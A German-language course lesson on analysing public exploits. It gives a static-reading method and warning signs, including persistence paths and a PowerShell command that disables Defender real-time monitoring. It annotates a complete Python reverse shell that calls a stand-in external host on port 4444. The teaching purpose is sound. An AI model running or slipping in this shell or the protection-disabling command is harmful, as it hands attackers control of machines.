Zum Hauptinhalt springen

Woche 14 — Analyse von Code und offensiven Tools

Lernziele​

  • Einen öffentlichen Exploit lesen, ohne ihn blind auszuführen.
  • Gefährliche Payloads, Netzwerk-Rückrufe (Callbacks) und Persistenzmechanismen erkennen.
  • Ein offensives Tool dokumentieren wie einen Befund: Beweis, Auswirkung, Abhilfemaßnahme.

Methode zum Lesen eines Exploits​

  1. Erst statisch, niemals Ausführung vor dem Verständnis.
  2. Die sensiblen Primitiven lokalisieren: Öffnen eines Sockets, Systemaufruf, dynamische Ausführung (eval, exec, Function, Reflection).
  3. Die Payload identifizieren: was sie installiert, wen sie kontaktiert, was sie persistiert.
  4. Das Bedrohungsmodell rekonstruieren: auf welcher Privilegstufe, gegen welche Version, mit welchen Netzwerkvoraussetzungen.

Sofort zu erkennende Signale​

  • Fest codierte URLs, die auf eine Drittdomäne verweisen.
  • Literale IP-Adressen, besonders in einem privaten Wohnbereich-Adressbereich.
  • Base64- oder XOR-codierte Zeichenketten — oft eine versteckte Payload.
  • Schreibanweisungen in ~/.ssh/authorized_keys, crontab, Registry\Run.
  • Funktionen, die Schutzmechanismen deaktivieren (Set-MpPreference -DisableRealtimeMonitoring $true).

Kommentiertes Beispiel​

# NICHT AUSFÜHREN — didaktische Anmerkung.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP-Socket
s.connect(("203.0.113.7", 4444)) # fest codierter externer Rückruf
os.dup2(s.fileno(), 0) # Umleitung stdin
os.dup2(s.fileno(), 1) # Umleitung stdout
os.dup2(s.fileno(), 2) # Umleitung stderr
subprocess.call(["/bin/sh", "-i"]) # interaktive Shell

Lesart: TCP-Reverse-Shell, ausgehende Verbindung zu 203.0.113.7:4444, keine Persistenz, keine Verschleierung. Erkennung möglich durch jede Netzwerkregel, die ungewöhnliche ausgehende Verbindungen blockiert.

Ethik​

Die Veröffentlichung eines funktionsfähigen Exploits muss immer begleitet werden von:

  • Einer mit dem Hersteller abgestimmten Frist zur koordinierten Offenlegung.
  • Einer dokumentierten Abhilfemaßnahme.
  • Einem Verantwortungsrahmen gegenüber den Nutzern.

Nächster Schritt​

Sobald diese Lektion als abgeschlossen markiert ist, haben Sie die 16 Etappen des Kurses validiert. Gehen Sie weiter zum Abschlussquiz, um Ihr Zertifikat zu erhalten.